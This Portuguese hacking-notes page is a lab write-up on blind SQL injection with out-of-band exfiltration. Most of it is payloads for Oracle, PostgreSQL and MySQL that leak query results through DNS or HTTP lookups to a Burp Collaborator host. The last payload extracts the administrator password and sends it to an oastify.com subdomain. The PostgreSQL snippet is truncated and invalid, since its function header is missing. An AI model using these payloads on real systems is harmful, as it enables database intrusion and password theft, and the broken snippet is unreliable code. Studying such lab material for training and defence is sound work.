> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/sql-injection-data-exfiltration-via-oob-channel.md).

# Exfiltração de Dados por Injeção de SQL via String OOB

### Injeção SQL cega com exfiltração de dados fora de banda

Este laboratório contém uma vulnerabilidade de injeção SQL cega. A aplicação usa um cookie de rastreamento para a análise e executa uma consulta SQL contendo o valor do cookie enviado. / A consulta SQL é executada de forma assíncrona e não afeta a resposta da aplicação. No entanto, é possível acionar interações fora de banda com um domínio externo. / O banco de dados contém uma tabela separada chamada `users`, com `nome de usuário` e `senha` colunas. Você precisa explorar a vulnerabilidade de SQL cega para descobrir a `administrador` senha do usuário.

* Oracle

{% code overflow="wrap" %}

```sql
SELECT EXTRACTVALUE(
  xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),
  '/l')
FROM dual
```

{% endcode %}

* PostgreSQL

```sql
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

* MySQL

```sql
SELECT YOUR-QUERY-HERE INTO OUTFILE '////BURP-COLLABORATOR-SUBDOMAIN/a'
```

Recuperar a senha do administrador (`SELECT password FROM users WHERE username = 'administrator'`)

{% code overflow="wrap" %}

```sql
' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://'||(select password from users where username='administrator')||'.qnhdkeii23lhv8cats06caltuk0bo8cx.oastify.com/"> %25remote%3b]>'),'/l') FROM dual-- -
```

{% endcode %}


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